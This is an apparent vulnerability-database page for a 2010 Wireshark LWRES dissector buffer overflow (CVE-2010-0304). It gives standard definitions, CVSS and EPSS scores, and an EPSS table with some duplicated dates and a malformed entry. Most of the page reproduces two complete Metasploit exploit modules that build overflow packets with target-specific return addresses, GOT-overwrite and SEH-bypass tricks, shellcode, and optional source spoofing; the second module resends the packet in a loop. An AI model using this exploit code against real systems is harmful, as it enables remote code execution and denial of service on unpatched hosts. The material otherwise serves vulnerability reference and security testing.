CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Multiple buffer overflows in the LWRES dissector in Wireshark 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allow remote attackers to cause a denial of service (crash) via a malformed packet, as demonstrated using a stack-based buffer overflow to the dissect_getaddrsbyname_request function.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
65.25%
–
–
2023-03-12
–
–
–
94.64%
–
2023-04-09
–
–
–
94.66%
–
2023-05-21
–
–
–
94.37%
–
2023-08-20
–
–
–
93.98%
–
2023-10-01
–
–
–
93.65%
–
2023-12-24
–
–
–
94.08%
–
2024-03-24
–
–
–
93.85%
–
2024-06-02
–
–
–
93.86%
–
2024-12-22
–
–
–
90.84%
–
2025-01-12
–
–
–
87.31%
–
2025-02-16
–
–
–
85.41%
–
2025-01-19
–
–
–
87.31%
–
2025-02-16
–
–
–
85.41%
–
2025-03-18
–
–
–
–
59.3%
2025-03-30
–
–
–
–
67.43%
2025-03-30
–
–
–
–
67.43,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: wireshark_lwres_getaddrbyname.rb 8454 2010-02-11 09:03:48Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'racket'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
'Description' => %q{
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
overflow. This bug found and reported by babi.
This particular exploit targets the dissect_getaddrsbyname_request function. Several
other functions also contain potentially exploitable stack-based buffer overflows.
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
exploitation via the return address on the stack. Sending a larger string allows
exploitation using the SEH bypass method. However, this packet will usually get
fragmented, which may cause additional complications.
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
If the packet is fragmented, all fragments must be captured and reassembled to
exploit this issue.
},
'Author' =>
[
'babi', # original discovery/exploit
'jduck', # ported from public exploit
'redsand' # windows target/testing
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8454 $',
'References' =>
[
[ 'CVE', '2010-0304' ],
[ 'OSVDB', '61987' ],
[ 'BID', '37985' ],
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true, # at least capture privilege
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
# breakpoint: lwres.so + 0x2ce2
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# conveniently, edx pointed at our string..
# and so, we write it to g_slist_append's GOT entry just before its called.
# pwnt.
#
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
#
'Ret' => 0x804fc85, # see above..
'RetOff' => 376,
'Readable' => 0x804fa04, # just anything
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
}
],
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# the method for tshark doesn't work, since there aren't any convenient
# pointers lying around (in reg/close on stack)
#
# since the wireshark bin has a jmp esp, we'll just use that method..
'Ret' => 0x818fce8, # jmp esp in wireshark bin
'RetOff' => 376,
'Readable' => 0x8066a40, # just any old readable addr (unused)
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
}
],
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux',
'Ret' => 0xfeedfed5deadbeef,
'RetOff' => 152,
}
],
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'osx',
'Ret' => 0xdeadbeef,
'RetOff' => 268,
}
],
# The following target was tested against Windows XP SP3 and Windows Vista
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
# NOTE: due to the length of this packet, your mileage may vary.
'Ret' => 0x61B4121B,
# 0x655810b6 = pop/pop/ret in libpango
# 0x02A110B6 = pop/pop/ret in libgtk-w
# 0x03D710CC = pop/mov/pop/ret in packet
# 0x61B4121B = pop/pop/ret in pcre3
'RetOff' => 2128,
}
],
],
'DisclosureDate' => 'Jan 27 2010'))
register_options([
Opt::RPORT(921),
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
], self.class)
deregister_options('FILTER','PCAPFILE')
end
def exploit
ret_offset = target['RetOff']
# we have different techniques depending on the target
if (target == targets[0])
# debian tshark
str = make_nops(ret_offset - payload.encoded.length - 16)
str << payload.encoded
str << [target['GotAddr'] - 0xc].pack('V')
str << rand_text(4)
str << [target['Readable']].pack('V')
str << rand_text(4)
# ret is next
elsif (target == targets[1])
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
str << fix_esp
str << payload.encoded
# jmp esp...
str << [target.ret].pack('V')
# jump back
distance = ret_offset + 4
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
elsif (target == targets[2])
str = Rex::Text.pattern_create(ret_offset - 8)
str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)
elsif (target == targets[4])
# ugh, /GS and UDP length issues :-/
str = make_nops(ret_offset - payload.encoded.length)
str << payload.encoded
str << generate_seh_record(target.ret)
# jump back
distance = ret_offset + 8
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
else
# this is just a simple DoS payload
str = Rex::Text.pattern_create(ret_offset)
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
end
# add return address
str << Rex::Arch.pack_addr(target.arch, target.ret)
# form the packet's payload!
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sploit << "\x00\x00\x00\x01"
sploit << [str.length].pack('n')
sploit << str
sploit << "\x00\x00"
shost = datastore['SHOST']
if (shost)
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
open_pcap
n = Racket::Racket.new
n.l3 = Racket::L3::IPv4.new
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
n.l3.dst_ip = rhost
n.l3.protocol = 6
n.l3.id = rand(0x10000)
n.l3.ttl = 64
n.l4 = Racket::L4::UDP.new
n.l4.src_port = rand((2**16)-1024)+1024
n.l4.dst_port = datastore['RPORT'].to_i
n.l4.payload = sploit
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
pkt = n.pack
capture_sendto(pkt, rhost)
close_pcap
handler
else
print_status("Sending malformed LWRES packet to #{rhost}")
connect_udp
udp_sock.put(sploit)
handler
disconnect_udp
end
end
end
##
# $Id: wireshark_lwres_getaddrbyname_loop.rb 11126 2010-11-24 19:25:18Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'racket'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
'Description' => %q{
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
overflow. This bug found and reported by babi.
This particular exploit targets the dissect_getaddrsbyname_request function. Several
other functions also contain potentially exploitable stack-based buffer overflows.
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
exploitation via the return address on the stack. Sending a larger string allows
exploitation using the SEH bypass method. However, this packet will usually get
fragmented, which may cause additional complications.
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
If the packet is fragmented, all fragments must be captured and reassembled to
exploit this issue.
This version loops, sending the packet every X seconds until the job is killed.
},
'Author' =>
[
'babi', # original discovery/exploit
'jduck', # ported from public exploit
'redsand' # windows target/testing
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11126 $',
'References' =>
[
[ 'CVE', '2010-0304' ],
[ 'OSVDB', '61987' ],
[ 'BID', '37985' ],
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true, # at least capture privilege
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true,
},
'DefaultTarget' => 4,
'Targets' =>
[
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
# breakpoint: lwres.so + 0x2ce2
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# conveniently, edx pointed at our string..
# and so, we write it to g_slist_append's GOT entry just before its called.
# pwnt.
#
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
#
'Ret' => 0x804fc85, # see above..
'RetOff' => 376,
'Readable' => 0x804fa04, # just anything
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
}
],
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
# the method for tshark doesn't work, since there aren't any convenient
# pointers lying around (in reg/close on stack)
#
# since the wireshark bin has a jmp esp, we'll just use that method..
'Ret' => 0x818fce8, # jmp esp in wireshark bin
'RetOff' => 376,
'Readable' => 0x8066a40, # just any old readable addr (unused)
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
}
],
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux',
'Ret' => 0xfeedfed5deadbeef,
'RetOff' => 152,
}
],
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'osx',
'Ret' => 0xdeadbeef,
'RetOff' => 268,
}
],
# The following target was tested against Windows XP SP3 and Windows Vista
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
# NOTE: due to the length of this packet, your mileage may vary.
'Ret' => 0x61B4121B,
# 0x655810b6 = pop/pop/ret in libpango
# 0x02A110B6 = pop/pop/ret in libgtk-w
# 0x03D710CC = pop/mov/pop/ret in packet
# 0x61B4121B = pop/pop/ret in pcre3
'RetOff' => 2128,
}
],
],
'DisclosureDate' => 'Jan 27 2010',
# Set it to passive mode to background it.
'Stance' => Msf::Exploit::Stance::Passive))
register_options([
Opt::RPORT(921),
Opt::RHOST("239.255.255.250"),
OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5])
], self.class)
register_advanced_options([
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])
], self.class)
deregister_options('FILTER','PCAPFILE')
end
def exploit
ret_offset = target['RetOff']
# we have different techniques depending on the target
if (target == targets[0])
# debian tshark
str = make_nops(ret_offset - payload.encoded.length - 16)
str << payload.encoded
str << [target['GotAddr'] - 0xc].pack('V')
str << rand_text(4)
str << [target['Readable']].pack('V')
str << rand_text(4)
# ret is next
elsif (target == targets[1])
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
str << fix_esp
str << payload.encoded
# jmp esp...
str << [target.ret].pack('V')
# jump back
distance = ret_offset + 4
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
elsif (target == targets[4])
# ugh, /GS and UDP length issues :-/
str = make_nops(ret_offset - payload.encoded.length)
str << payload.encoded
str << generate_seh_record(target.ret)
# jump back
distance = ret_offset + 8
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
else
# this is just a simple DoS payload
str = Rex::Text.pattern_create(ret_offset)
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
end
# add return address
#XXX: this isn't working?
#str << Rex::Arch.pack_addr(target.arch, target.ret)
str << [target.ret].pack('V')
# form the packet's payload!
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sploit << "\x00\x00\x00\x01"
sploit << [str.length].pack('n')
sploit << str
sploit << "\x00\x00"
shost = datastore['SHOST']
if (shost)
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
open_pcap
n = Racket::Racket.new
n.l3 = Racket::L3::IPv4.new
n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
n.l3.dst_ip = rhost
n.l3.protocol = 6
n.l3.id = rand(0x10000)
n.l3.ttl = 64
n.l4 = Racket::L4::UDP.new
n.l4.src_port = rand((2**16)-1024)+1024
n.l4.dst_port = datastore['RPORT'].to_i
n.l4.payload = sploit
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
pkt = n.pack
while true
break if session_created? and datastore['ExitOnSession']
capture_sendto(pkt, rhost)
select(nil,nil,nil,datastore['DELAY'])
end
close_pcap
handler
else
print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.")
handler
while true
break if session_created? and datastore['ExitOnSession']
connect_udp
udp_sock.put(sploit)
disconnect_udp
select(nil,nil,nil,datastore['DELAY'])
end
end
end
end